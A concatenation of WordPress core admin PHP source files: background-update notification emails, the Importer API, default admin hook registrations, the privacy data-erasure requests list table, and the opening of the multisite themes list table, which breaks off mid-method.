							/* translators: 1: Theme name, 2: Version number. */
							__( '- %1$s version %2$s' ),
							html_entity_decode( $item->name ),
							$item->item->new_version
						);
					}

					$past_failure_emails[ $item->item->theme ] = $item->item->new_version;
				}

				$body[] = "\n";
			}
		}

		// List successful updates.
		if ( in_array( $type, array( 'success', 'mixed' ), true ) ) {
			$body[] = "\n";

			// List successful plugin updates.
			if ( ! empty( $successful_updates['plugin'] ) ) {
				$body[] = __( 'These plugins are now up to date:' );

				foreach ( $successful_updates['plugin'] as $item ) {
					$body_message = '';
					$item_url     = '';

					if ( ! empty( $item->item->url ) ) {
						$item_url = ' : ' . esc_url( $item->item->url );
					}

					if ( $item->item->current_version ) {
						$body_message .= sprintf(
							/* translators: 1: Plugin name, 2: Current version number, 3: New version number, 4: Plugin URL. */
							__( '- %1$s (from version %2$s to %3$s)%4$s' ),
							html_entity_decode( $item->name ),
							$item->item->current_version,
							$item->item->new_version,
							$item_url
						);
					} else {
						$body_message .= sprintf(
							/* translators: 1: Plugin name, 2: Version number, 3: Plugin URL. */
							__( '- %1$s version %2$s%3$s' ),
							html_entity_decode( $item->name ),
							$item->item->new_version,
							$item_url
						);
					}
					$body[] = $body_message;

					unset( $past_failure_emails[ $item->item->plugin ] );
				}

				$body[] = "\n";
			}

			// List successful theme updates.
			if ( ! empty( $successful_updates['theme'] ) ) {
				$body[] = __( 'These themes are now up to date:' );

				foreach ( $successful_updates['theme'] as $item ) {
					if ( $item->item->current_version ) {
						$body[] = sprintf(
							/* translators: 1: Theme name, 2: Current version number, 3: New version number. */
							__( '- %1$s (from version %2$s to %3$s)' ),
							html_entity_decode( $item->name ),
							$item->item->current_version,
							$item->item->new_version
						);
					} else {
						$body[] = sprintf(
							/* translators: 1: Theme name, 2: Version number. */
							__( '- %1$s version %2$s' ),
							html_entity_decode( $item->name ),
							$item->item->new_version
						);
					}

					unset( $past_failure_emails[ $item->item->theme ] );
				}

				$body[] = "\n";
			}
		}

		if ( $failed_plugins ) {
			$body[] = sprintf(
				/* translators: %s: Plugins screen URL. */
				__( 'To manage plugins on your site, visit the Plugins page: %s' ),
				admin_url( 'plugins.php' )
			);
			$body[] = "\n";
		}

		if ( $failed_themes ) {
			$body[] = sprintf(
				/* translators: %s: Themes screen URL. */
				__( 'To manage themes on your site, visit the Themes page: %s' ),
				admin_url( 'themes.php' )
			);
			$body[] = "\n";
		}

		// Add a note about the support forums.
		$body[] = __( 'If you experience any issues or need support, the volunteers in the WordPress.org support forums may be able to help.' );
		$body[] = __( 'https://wordpress.org/support/forums/' );
		$body[] = "\n" . __( 'The WordPress Team' );

		if ( '' !== get_option( 'blogname' ) ) {
			$site_title = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
		} else {
			$site_title = parse_url( home_url(), PHP_URL_HOST );
		}

		$body    = implode( "\n", $body );
		$to      = get_site_option( 'admin_email' );
		$subject = sprintf( $subject, $site_title );
		$headers = '';

		$email = compact( 'to', 'subject', 'body', 'headers' );

		/**
		 * Filters the email sent following an automatic background update for plugins and themes.
		 *
		 * @since 5.5.0
		 *
		 * @param array  $email {
		 *     Array of email arguments that will be passed to wp_mail().
		 *
		 *     @type string $to      The email recipient. An array of emails
		 *                           can be returned, as handled by wp_mail().
		 *     @type string $subject The email's subject.
		 *     @type string $body    The email message body.
		 *     @type string $headers Any email headers, defaults to no headers.
		 * }
		 * @param string $type               The type of email being sent. Can be one of 'success', 'fail', 'mixed'.
		 * @param array  $successful_updates A list of updates that succeeded.
		 * @param array  $failed_updates     A list of updates that failed.
		 */
		$email = apply_filters( 'auto_plugin_theme_update_email', $email, $type, $successful_updates, $failed_updates );

		$result = wp_mail( $email['to'], wp_specialchars_decode( $email['subject'] ), $email['body'], $email['headers'] );

		if ( $result ) {
			update_option( 'auto_plugin_theme_update_emails', $past_failure_emails );
		}
	}

	/**
	 * Prepares and sends an email of a full log of background update results, useful for debugging and geekery.
	 *
	 * @since 3.7.0
	 */
	protected function send_debug_email() {
		$update_count = 0;
		foreach ( $this->update_results as $type => $updates ) {
			$update_count += count( $updates );
		}

		$body     = array();
		$failures = 0;

		/* translators: %s: Network home URL. */
		$body[] = sprintf( __( 'WordPress site: %s' ), network_home_url( '/' ) );

		// Core.
		if ( isset( $this->update_results['core'] ) ) {
			$result = $this->update_results['core'][0];

			if ( $result->result && ! is_wp_error( $result->result ) ) {
				/* translators: %s: WordPress version. */
				$body[] = sprintf( __( 'SUCCESS: WordPress was successfully updated to %s' ), $result->name );
			} else {
				/* translators: %s: WordPress version. */
				$body[] = sprintf( __( 'FAILED: WordPress failed to update to %s' ), $result->name );
				++$failures;
			}

			$body[] = '';
		}

		// Plugins, Themes, Translations.
		foreach ( array( 'plugin', 'theme', 'translation' ) as $type ) {
			if ( ! isset( $this->update_results[ $type ] ) ) {
				continue;
			}

			$success_items = wp_list_filter( $this->update_results[ $type ], array( 'result' => true ) );

			if ( $success_items ) {
				$messages = array(
					'plugin'      => __( 'The following plugins were successfully updated:' ),
					'theme'       => __( 'The following themes were successfully updated:' ),
					'translation' => __( 'The following translations were successfully updated:' ),
				);

				$body[] = $messages[ $type ];
				foreach ( wp_list_pluck( $success_items, 'name' ) as $name ) {
					/* translators: %s: Name of plugin / theme / translation. */
					$body[] = ' * ' . sprintf( __( 'SUCCESS: %s' ), $name );
				}
			}

			if ( $success_items !== $this->update_results[ $type ] ) {
				// Failed updates.
				$messages = array(
					'plugin'      => __( 'The following plugins failed to update:' ),
					'theme'       => __( 'The following themes failed to update:' ),
					'translation' => __( 'The following translations failed to update:' ),
				);

				$body[] = $messages[ $type ];

				foreach ( $this->update_results[ $type ] as $item ) {
					if ( ! $item->result || is_wp_error( $item->result ) ) {
						/* translators: %s: Name of plugin / theme / translation. */
						$body[] = ' * ' . sprintf( __( 'FAILED: %s' ), $item->name );
						++$failures;
					}
				}
			}

			$body[] = '';
		}

		if ( '' !== get_bloginfo( 'name' ) ) {
			$site_title = wp_specialchars_decode( get_bloginfo( 'name' ), ENT_QUOTES );
		} else {
			$site_title = parse_url( home_url(), PHP_URL_HOST );
		}

		if ( $failures ) {
			$body[] = trim(
				__(
					"BETA TESTING?
=============

This debugging email is sent when you are using a development version of WordPress.

If you think these failures might be due to a bug in WordPress, could you report it?
 * Open a thread in the support forums: https://wordpress.org/support/forum/alphabeta
 * Or, if you're comfortable writing a bug report: https://core.trac.wordpress.org/

Thanks! -- The WordPress Team"
				)
			);
			$body[] = '';

			/* translators: Background update failed notification email subject. %s: Site title. */
			$subject = sprintf( __( '[%s] Background Update Failed' ), $site_title );
		} else {
			/* translators: Background update finished notification email subject. %s: Site title. */
			$subject = sprintf( __( '[%s] Background Update Finished' ), $site_title );
		}

		$body[] = trim(
			__(
				'UPDATE LOG
=========='
			)
		);
		$body[] = '';

		foreach ( array( 'core', 'plugin', 'theme', 'translation' ) as $type ) {
			if ( ! isset( $this->update_results[ $type ] ) ) {
				continue;
			}

			foreach ( $this->update_results[ $type ] as $update ) {
				$body[] = $update->name;
				$body[] = str_repeat( '-', strlen( $update->name ) );

				foreach ( $update->messages as $message ) {
					$body[] = '  ' . html_entity_decode( str_replace( '&#8230;', '...', $message ) );
				}

				if ( is_wp_error( $update->result ) ) {
					$results = array( 'update' => $update->result );

					// If we rolled back, we want to know an error that occurred then too.
					if ( 'rollback_was_required' === $update->result->get_error_code() ) {
						$results = (array) $update->result->get_error_data();
					}

					foreach ( $results as $result_type => $result ) {
						if ( ! is_wp_error( $result ) ) {
							continue;
						}

						if ( 'rollback' === $result_type ) {
							/* translators: 1: Error code, 2: Error message. */
							$body[] = '  ' . sprintf( __( 'Rollback Error: [%1$s] %2$s' ), $result->get_error_code(), $result->get_error_message() );
						} else {
							/* translators: 1: Error code, 2: Error message. */
							$body[] = '  ' . sprintf( __( 'Error: [%1$s] %2$s' ), $result->get_error_code(), $result->get_error_message() );
						}

						if ( $result->get_error_data() ) {
							$body[] = '         ' . implode( ', ', (array) $result->get_error_data() );
						}
					}
				}

				$body[] = '';
			}
		}

		$email = array(
			'to'      => get_site_option( 'admin_email' ),
			'subject' => $subject,
			'body'    => implode( "\n", $body ),
			'headers' => '',
		);

		/**
		 * Filters the debug email that can be sent following an automatic
		 * background core update.
		 *
		 * @since 3.8.0
		 *
		 * @param array $email {
		 *     Array of email arguments that will be passed to wp_mail().
		 *
		 *     @type string $to      The email recipient. An array of emails
		 *                           can be returned, as handled by wp_mail().
		 *     @type string $subject Email subject.
		 *     @type string $body    Email message body.
		 *     @type string $headers Any email headers. Default empty.
		 * }
		 * @param int   $failures The number of failures encountered while upgrading.
		 * @param mixed $results  The results of all attempted updates.
		 */
		$email = apply_filters( 'automatic_updates_debug_email', $email, $failures, $this->update_results );

		wp_mail( $email['to'], wp_specialchars_decode( $email['subject'] ), $email['body'], $email['headers'] );
	}
}
<?php
/**
 * WordPress Administration Importer API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Retrieves the list of importers.
 *
 * @since 2.0.0
 *
 * @global array $wp_importers
 * @return array
 */
function get_importers() {
	global $wp_importers;
	if ( is_array( $wp_importers ) ) {
		uasort( $wp_importers, '_usort_by_first_member' );
	}
	return $wp_importers;
}

/**
 * Sorts a multidimensional array by first member of each top level member.
 *
 * Used by uasort() as a callback, should not be used directly.
 *
 * @since 2.9.0
 * @access private
 *
 * @param array $a
 * @param array $b
 * @return int
 */
function _usort_by_first_member( $a, $b ) {
	return strnatcasecmp( $a[0], $b[0] );
}

/**
 * Registers importer for WordPress.
 *
 * @since 2.0.0
 *
 * @global array $wp_importers
 *
 * @param string   $id          Importer tag. Used to uniquely identify importer.
 * @param string   $name        Importer name and title.
 * @param string   $description Importer description.
 * @param callable $callback    Callback to run.
 * @return void|WP_Error Void on success. WP_Error when $callback is WP_Error.
 */
function register_importer( $id, $name, $description, $callback ) {
	global $wp_importers;
	if ( is_wp_error( $callback ) ) {
		return $callback;
	}
	$wp_importers[ $id ] = array( $name, $description, $callback );
}

/**
 * Cleanup importer.
 *
 * Removes attachment based on ID.
 *
 * @since 2.0.0
 *
 * @param string $id Importer ID.
 */
function wp_import_cleanup( $id ) {
	wp_delete_attachment( $id );
}

/**
 * Handles importer uploading and adds attachment.
 *
 * @since 2.0.0
 *
 * @return array Uploaded file's details on success, error message on failure.
 */
function wp_import_handle_upload() {
	if ( ! isset( $_FILES['import'] ) ) {
		return array(
			'error' => sprintf(
				/* translators: 1: php.ini, 2: post_max_size, 3: upload_max_filesize */
				__( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your %1$s file or by %2$s being defined as smaller than %3$s in %1$s.' ),
				'php.ini',
				'post_max_size',
				'upload_max_filesize'
			),
		);
	}

	$overrides                 = array(
		'test_form' => false,
		'test_type' => false,
	);
	$_FILES['import']['name'] .= '.txt';
	$upload                    = wp_handle_upload( $_FILES['import'], $overrides );

	if ( isset( $upload['error'] ) ) {
		return $upload;
	}

	// Construct the attachment array.
	$attachment = array(
		'post_title'     => wp_basename( $upload['file'] ),
		'post_content'   => $upload['url'],
		'post_mime_type' => $upload['type'],
		'guid'           => $upload['url'],
		'context'        => 'import',
		'post_status'    => 'private',
	);

	// Save the data.
	$id = wp_insert_attachment( $attachment, $upload['file'] );

	/*
	 * Schedule a cleanup for one day from now in case of failed
	 * import or missing wp_import_cleanup() call.
	 */
	wp_schedule_single_event( time() + DAY_IN_SECONDS, 'importer_scheduled_cleanup', array( $id ) );

	return array(
		'file' => $upload['file'],
		'id'   => $id,
	);
}

/**
 * Returns a list from WordPress.org of popular importer plugins.
 *
 * @since 3.5.0
 *
 * @return array Importers with metadata for each.
 */
function wp_get_popular_importers() {
	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

	$locale            = get_user_locale();
	$cache_key         = 'popular_importers_' . md5( $locale . $wp_version );
	$popular_importers = get_site_transient( $cache_key );

	if ( ! $popular_importers ) {
		$url     = add_query_arg(
			array(
				'locale'  => $locale,
				'version' => $wp_version,
			),
			'http://api.wordpress.org/core/importers/1.1/'
		);
		$options = array( 'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ) );

		if ( wp_http_supports( array( 'ssl' ) ) ) {
			$url = set_url_scheme( $url, 'https' );
		}

		$response          = wp_remote_get( $url, $options );
		$popular_importers = json_decode( wp_remote_retrieve_body( $response ), true );

		if ( is_array( $popular_importers ) ) {
			set_site_transient( $cache_key, $popular_importers, 2 * DAY_IN_SECONDS );
		} else {
			$popular_importers = false;
		}
	}

	if ( is_array( $popular_importers ) ) {
		// If the data was received as translated, return it as-is.
		if ( $popular_importers['translated'] ) {
			return $popular_importers['importers'];
		}

		foreach ( $popular_importers['importers'] as &$importer ) {
			// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText
			$importer['description'] = translate( $importer['description'] );
			if ( 'WordPress' !== $importer['name'] ) {
				// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText
				$importer['name'] = translate( $importer['name'] );
			}
		}
		return $popular_importers['importers'];
	}

	return array(
		// slug => name, description, plugin slug, and register_importer() slug.
		'blogger'     => array(
			'name'        => __( 'Blogger' ),
			'description' => __( 'Import posts, comments, and users from a Blogger blog.' ),
			'plugin-slug' => 'blogger-importer',
			'importer-id' => 'blogger',
		),
		'wpcat2tag'   => array(
			'name'        => __( 'Categories and Tags Converter' ),
			'description' => __( 'Convert existing categories to tags or tags to categories, selectively.' ),
			'plugin-slug' => 'wpcat2tag-importer',
			'importer-id' => 'wp-cat2tag',
		),
		'livejournal' => array(
			'name'        => __( 'LiveJournal' ),
			'description' => __( 'Import posts from LiveJournal using their API.' ),
			'plugin-slug' => 'livejournal-importer',
			'importer-id' => 'livejournal',
		),
		'movabletype' => array(
			'name'        => __( 'Movable Type and TypePad' ),
			'description' => __( 'Import posts and comments from a Movable Type or TypePad blog.' ),
			'plugin-slug' => 'movabletype-importer',
			'importer-id' => 'mt',
		),
		'rss'         => array(
			'name'        => __( 'RSS' ),
			'description' => __( 'Import posts from an RSS feed.' ),
			'plugin-slug' => 'rss-importer',
			'importer-id' => 'rss',
		),
		'tumblr'      => array(
			'name'        => __( 'Tumblr' ),
			'description' => __( 'Import posts &amp; media from Tumblr using their API.' ),
			'plugin-slug' => 'tumblr-importer',
			'importer-id' => 'tumblr',
		),
		'wordpress'   => array(
			'name'        => 'WordPress',
			'description' => __( 'Import posts, pages, comments, custom fields, categories, and tags from a WordPress export file.' ),
			'plugin-slug' => 'wordpress-importer',
			'importer-id' => 'wordpress',
		),
	);
}
<?php
/**
 * Administration API: Default admin hooks
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.3.0
 */

// Bookmark hooks.
add_action( 'admin_page_access_denied', 'wp_link_manager_disabled_message' );

// Dashboard hooks.
add_action( 'activity_box_end', 'wp_dashboard_quota' );
add_action( 'welcome_panel', 'wp_welcome_panel' );

// Media hooks.
add_action( 'attachment_submitbox_misc_actions', 'attachment_submitbox_metadata' );
add_filter( 'plupload_init', 'wp_show_heic_upload_error' );

add_action( 'media_upload_image', 'wp_media_upload_handler' );
add_action( 'media_upload_audio', 'wp_media_upload_handler' );
add_action( 'media_upload_video', 'wp_media_upload_handler' );
add_action( 'media_upload_file', 'wp_media_upload_handler' );

add_action( 'post-plupload-upload-ui', 'media_upload_flash_bypass' );

add_action( 'post-html-upload-ui', 'media_upload_html_bypass' );

add_filter( 'async_upload_image', 'get_media_item', 10, 2 );
add_filter( 'async_upload_audio', 'get_media_item', 10, 2 );
add_filter( 'async_upload_video', 'get_media_item', 10, 2 );
add_filter( 'async_upload_file', 'get_media_item', 10, 2 );

add_filter( 'media_upload_gallery', 'media_upload_gallery' );
add_filter( 'media_upload_library', 'media_upload_library' );

add_filter( 'media_upload_tabs', 'update_gallery_tab' );

// Admin color schemes.
add_action( 'admin_init', 'register_admin_color_schemes', 1 );
add_action( 'admin_head', 'wp_color_scheme_settings' );
add_action( 'admin_color_scheme_picker', 'admin_color_scheme_picker' );

// Misc hooks.
add_action( 'admin_init', 'wp_admin_headers' );
add_action( 'login_init', 'wp_admin_headers' );
add_action( 'admin_init', 'send_frame_options_header', 10, 0 );
add_action( 'admin_head', 'wp_admin_canonical_url' );
add_action( 'admin_head', 'wp_site_icon' );
add_action( 'admin_head', 'wp_admin_viewport_meta' );
add_action( 'customize_controls_head', 'wp_admin_viewport_meta' );
add_filter( 'nav_menu_meta_box_object', '_wp_nav_menu_meta_box_object' );

// Prerendering.
if ( ! is_customize_preview() ) {
	add_filter( 'admin_print_styles', 'wp_resource_hints', 1 );
}

add_action( 'admin_print_scripts', 'print_emoji_detection_script' );
add_action( 'admin_print_scripts', 'print_head_scripts', 20 );
add_action( 'admin_print_footer_scripts', '_wp_footer_scripts' );
add_action( 'admin_enqueue_scripts', 'wp_enqueue_emoji_styles' );
add_action( 'admin_print_styles', 'print_emoji_styles' ); // Retained for backwards-compatibility. Unhooked by wp_enqueue_emoji_styles().
add_action( 'admin_print_styles', 'print_admin_styles', 20 );

add_action( 'admin_print_scripts-index.php', 'wp_localize_community_events' );
add_action( 'admin_print_scripts-post.php', 'wp_page_reload_on_back_button_js' );
add_action( 'admin_print_scripts-post-new.php', 'wp_page_reload_on_back_button_js' );

add_action( 'update_option_home', 'update_home_siteurl', 10, 2 );
add_action( 'update_option_siteurl', 'update_home_siteurl', 10, 2 );
add_action( 'update_option_page_on_front', 'update_home_siteurl', 10, 2 );
add_action( 'update_option_admin_email', 'wp_site_admin_email_change_notification', 10, 3 );

add_action( 'add_option_new_admin_email', 'update_option_new_admin_email', 10, 2 );
add_action( 'update_option_new_admin_email', 'update_option_new_admin_email', 10, 2 );

add_filter( 'heartbeat_received', 'wp_check_locked_posts', 10, 3 );
add_filter( 'heartbeat_received', 'wp_refresh_post_lock', 10, 3 );
add_filter( 'heartbeat_received', 'heartbeat_autosave', 500, 2 );

add_filter( 'wp_refresh_nonces', 'wp_refresh_post_nonces', 10, 3 );
add_filter( 'wp_refresh_nonces', 'wp_refresh_metabox_loader_nonces', 10, 2 );
add_filter( 'wp_refresh_nonces', 'wp_refresh_heartbeat_nonces' );

add_filter( 'heartbeat_settings', 'wp_heartbeat_set_suspension' );

add_action( 'use_block_editor_for_post_type', '_disable_block_editor_for_navigation_post_type', 10, 2 );
add_action( 'edit_form_after_title', '_disable_content_editor_for_navigation_post_type' );
add_action( 'edit_form_after_editor', '_enable_content_editor_for_navigation_post_type' );

// Nav Menu hooks.
add_action( 'admin_head-nav-menus.php', '_wp_delete_orphaned_draft_menu_items' );

// Plugin hooks.
add_filter( 'allowed_options', 'option_update_filter' );

// Plugin Install hooks.
add_action( 'install_plugins_featured', 'install_dashboard' );
add_action( 'install_plugins_upload', 'install_plugins_upload' );
add_action( 'install_plugins_search', 'display_plugins_table' );
add_action( 'install_plugins_popular', 'display_plugins_table' );
add_action( 'install_plugins_recommended', 'display_plugins_table' );
add_action( 'install_plugins_new', 'display_plugins_table' );
add_action( 'install_plugins_beta', 'display_plugins_table' );
add_action( 'install_plugins_favorites', 'display_plugins_table' );
add_action( 'install_plugins_pre_plugin-information', 'install_plugin_information' );

// Template hooks.
add_action( 'admin_enqueue_scripts', array( 'WP_Internal_Pointers', 'enqueue_scripts' ) );
add_action( 'user_register', array( 'WP_Internal_Pointers', 'dismiss_pointers_for_new_users' ) );

// Theme hooks.
add_action( 'customize_controls_print_footer_scripts', 'customize_themes_print_templates' );

// Theme Install hooks.
add_action( 'install_themes_pre_theme-information', 'install_theme_information' );

// User hooks.
add_action( 'admin_init', 'default_password_nag_handler' );

add_action( 'admin_notices', 'default_password_nag' );
add_action( 'admin_notices', 'new_user_email_admin_notice' );

add_action( 'profile_update', 'default_password_nag_edit_user', 10, 2 );

add_action( 'personal_options_update', 'send_confirmation_on_profile_email' );

// Update hooks.
add_action( 'load-plugins.php', 'wp_plugin_update_rows', 20 ); // After wp_update_plugins() is called.
add_action( 'load-themes.php', 'wp_theme_update_rows', 20 ); // After wp_update_themes() is called.

add_action( 'admin_notices', 'update_nag', 3 );
add_action( 'admin_notices', 'deactivated_plugins_notice', 5 );
add_action( 'admin_notices', 'paused_plugins_notice', 5 );
add_action( 'admin_notices', 'paused_themes_notice', 5 );
add_action( 'admin_notices', 'maintenance_nag', 10 );
add_action( 'admin_notices', 'wp_recovery_mode_nag', 1 );

add_filter( 'update_footer', 'core_update_footer' );

// Update Core hooks.
add_action( '_core_updated_successfully', '_redirect_to_about_wordpress' );

// Upgrade hooks.
add_action( 'upgrader_process_complete', array( 'Language_Pack_Upgrader', 'async_upgrade' ), 20 );
add_action( 'upgrader_process_complete', 'wp_version_check', 10, 0 );
add_action( 'upgrader_process_complete', 'wp_update_plugins', 10, 0 );
add_action( 'upgrader_process_complete', 'wp_update_themes', 10, 0 );

// Privacy hooks.
add_filter( 'wp_privacy_personal_data_erasure_page', 'wp_privacy_process_personal_data_erasure_page', 10, 5 );
add_filter( 'wp_privacy_personal_data_export_page', 'wp_privacy_process_personal_data_export_page', 10, 7 );
add_action( 'wp_privacy_personal_data_export_file', 'wp_privacy_generate_personal_data_export_file', 10 );
add_action( 'wp_privacy_personal_data_erased', '_wp_privacy_send_erasure_fulfillment_notification', 10 );

// Privacy policy text changes check.
add_action( 'admin_init', array( 'WP_Privacy_Policy_Content', 'text_change_check' ), 100 );

// Show a "postbox" with the text suggestions for a privacy policy.
add_action( 'admin_notices', array( 'WP_Privacy_Policy_Content', 'notice' ) );

// Add the suggested policy text from WordPress.
add_action( 'admin_init', array( 'WP_Privacy_Policy_Content', 'add_suggested_content' ), 1 );

// Update the cached policy info when the policy page is updated.
add_action( 'post_updated', array( 'WP_Privacy_Policy_Content', '_policy_page_updated' ) );

// Append '(Draft)' to draft page titles in the privacy page dropdown.
add_filter( 'list_pages', '_wp_privacy_settings_filter_draft_page_titles', 10, 2 );

// Font management.
add_action( 'admin_print_styles', 'wp_print_font_faces', 50 );
<?php
/**
 * List Table API: WP_Privacy_Data_Removal_Requests_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.9.6
 */

if ( ! class_exists( 'WP_Privacy_Requests_Table' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-requests-table.php';
}

/**
 * WP_Privacy_Data_Removal_Requests_List_Table class.
 *
 * @since 4.9.6
 */
class WP_Privacy_Data_Removal_Requests_List_Table extends WP_Privacy_Requests_Table {
	/**
	 * Action name for the requests this table will work with.
	 *
	 * @since 4.9.6
	 *
	 * @var string $request_type Name of action.
	 */
	protected $request_type = 'remove_personal_data';

	/**
	 * Post type for the requests.
	 *
	 * @since 4.9.6
	 *
	 * @var string $post_type The post type.
	 */
	protected $post_type = 'user_request';

	/**
	 * Outputs the Actions column.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 * @return string Email column markup.
	 */
	public function column_email( $item ) {
		$row_actions = array();

		// Allow the administrator to "force remove" the personal data even if confirmation has not yet been received.
		$status      = $item->status;
		$request_id  = $item->ID;
		$row_actions = array();
		if ( 'request-confirmed' !== $status ) {
			/** This filter is documented in wp-admin/includes/ajax-actions.php */
			$erasers       = apply_filters( 'wp_privacy_personal_data_erasers', array() );
			$erasers_count = count( $erasers );
			$nonce         = wp_create_nonce( 'wp-privacy-erase-personal-data-' . $request_id );

			$remove_data_markup = '<span class="remove-personal-data force-remove-personal-data" ' .
				'data-erasers-count="' . esc_attr( $erasers_count ) . '" ' .
				'data-request-id="' . esc_attr( $request_id ) . '" ' .
				'data-nonce="' . esc_attr( $nonce ) .
				'">';

			$remove_data_markup .= '<span class="remove-personal-data-idle"><button type="button" class="button-link remove-personal-data-handle">' . __( 'Force erase personal data' ) . '</button></span>' .
				'<span class="remove-personal-data-processing hidden">' . __( 'Erasing data...' ) . ' <span class="erasure-progress"></span></span>' .
				'<span class="remove-personal-data-success hidden">' . __( 'Erasure completed.' ) . '</span>' .
				'<span class="remove-personal-data-failed hidden">' . __( 'Force erasure has failed.' ) . ' <button type="button" class="button-link remove-personal-data-handle">' . __( 'Retry' ) . '</button></span>';

			$remove_data_markup .= '</span>';

			$row_actions['remove-data'] = $remove_data_markup;
		}

		if ( 'request-completed' !== $status ) {
			$complete_request_markup  = '<span>';
			$complete_request_markup .= sprintf(
				'<a href="%s" class="complete-request" aria-label="%s">%s</a>',
				esc_url(
					wp_nonce_url(
						add_query_arg(
							array(
								'action'     => 'complete',
								'request_id' => array( $request_id ),
							),
							admin_url( 'erase-personal-data.php' )
						),
						'bulk-privacy_requests'
					)
				),
				esc_attr(
					sprintf(
						/* translators: %s: Request email. */
						__( 'Mark export request for &#8220;%s&#8221; as completed.' ),
						$item->email
					)
				),
				__( 'Complete request' )
			);
			$complete_request_markup .= '</span>';
		}

		if ( ! empty( $complete_request_markup ) ) {
			$row_actions['complete-request'] = $complete_request_markup;
		}

		return sprintf( '<a href="%1$s">%2$s</a> %3$s', esc_url( 'mailto:' . $item->email ), $item->email, $this->row_actions( $row_actions ) );
	}

	/**
	 * Outputs the Next steps column.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 */
	public function column_next_steps( $item ) {
		$status = $item->status;

		switch ( $status ) {
			case 'request-pending':
				esc_html_e( 'Waiting for confirmation' );
				break;
			case 'request-confirmed':
				/** This filter is documented in wp-admin/includes/ajax-actions.php */
				$erasers       = apply_filters( 'wp_privacy_personal_data_erasers', array() );
				$erasers_count = count( $erasers );
				$request_id    = $item->ID;
				$nonce         = wp_create_nonce( 'wp-privacy-erase-personal-data-' . $request_id );

				echo '<div class="remove-personal-data" ' .
					'data-force-erase="1" ' .
					'data-erasers-count="' . esc_attr( $erasers_count ) . '" ' .
					'data-request-id="' . esc_attr( $request_id ) . '" ' .
					'data-nonce="' . esc_attr( $nonce ) .
					'">';

				?>
				<span class="remove-personal-data-idle"><button type="button" class="button-link remove-personal-data-handle"><?php _e( 'Erase personal data' ); ?></button></span>
				<span class="remove-personal-data-processing hidden"><?php _e( 'Erasing data...' ); ?> <span class="erasure-progress"></span></span>
				<span class="remove-personal-data-success success-message hidden" ><?php _e( 'Erasure completed.' ); ?></span>
				<span class="remove-personal-data-failed hidden"><?php _e( 'Data erasure has failed.' ); ?> <button type="button" class="button-link remove-personal-data-handle"><?php _e( 'Retry' ); ?></button></span>
				<?php

				echo '</div>';

				break;
			case 'request-failed':
				echo '<button type="submit" class="button-link" name="privacy_action_email_retry[' . $item->ID . ']" id="privacy_action_email_retry[' . $item->ID . ']">' . __( 'Retry' ) . '</button>';
				break;
			case 'request-completed':
				echo '<a href="' . esc_url(
					wp_nonce_url(
						add_query_arg(
							array(
								'action'     => 'delete',
								'request_id' => array( $item->ID ),
							),
							admin_url( 'erase-personal-data.php' )
						),
						'bulk-privacy_requests'
					)
				) . '">' . esc_html__( 'Remove request' ) . '</a>';
				break;
		}
	}
}
<?php
/**
 * List Table API: WP_MS_Themes_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying themes in a list table for the network admin.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_MS_Themes_List_Table extends WP_List_Table {

	public $site_id;
	public $is_site_themes;

	private $has_items;

	/**
	 * Whether to show the auto-updates UI.
	 *
	 * @since 5.5.0
	 *
	 * @var bool True if auto-updates UI is to be shown, false otherwise.
	 */
	protected $show_autoupdates = true;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @global string $status
	 * @global int    $page
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		global $status, $page;

		parent::__construct(
			array(
				'plural' => 'themes',
				'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);

		$status = isset( $_REQUEST['theme_status'] ) ? $_REQUEST['theme_status'] : 'all';
		if ( ! in_array( $status, array( 'all', 'enabled', 'disabled', 'upgrade', 'search', 'broken', 'auto-update-enabled', 'auto-update-disabled' ), true ) ) {
			$status = 'all';
		}

		$page = $this->get_pagenum();

		$this->is_site_themes = ( 'site-themes-network' === $this->screen->id ) ? true : false;

		if ( $this->is_site_themes ) {
			$this->site_id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;
		}

		$this->show_autoupdates = wp_is_auto_update_enabled_for_type( 'theme' ) &&
			! $this->is_site_themes && current_user_can( 'update_themes' );
	}

	/**
	 * @return array
	 */
	protected function get_table_classes() {
		// @todo Remove and add CSS for .themes.
		return array( 'widefat', 'plugins' );
	}

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		if ( $this->is_site_themes ) {
			return current_user_can( 'manage_sites' );
		} else {
			return current_user_can( 'manage_network_themes' );
		}
	}

	/**
	 * @global string $status
	 * @global array $totals
	 * @global int $page
	 * @global string $orderby
	 * @global string $order
	 * @global string $s
	 */
	public function prepare_items() {
		global $status, $totals, $page, $orderby, $order, $s;

		wp_reset_vars( array( 'orderby', 'order', 's' ) );

		$themes = array(
			/**
			 * Filters the full array of WP_Theme objects to list in the Multisite
			 * themes list table.
			 *
			 * @since 3.1.0
			 *
			 * @param WP_Theme[] $all Array of WP_Theme objects to display in the list table.
			 */
			'all'      => apply_filters( 'all_themes', wp_get_themes() ),
			'search'   => array(),
			'enabled'  => array(),
			'disabled' => array(),
			'upgrade'  => array(),
			'broken'   => $this->is_site_themes ? array() : wp_get_themes( array( 'errors' => true ) ),
		);

		if ( $this->show_autoupdates ) {
			$auto_updates = (array) get_site_option( 'auto_update_themes', array() );

			$themes['auto-update-enabled']  = array();
			$themes['auto-update-disabled'] = array();
		}

		if ( $this->is_site_themes ) {
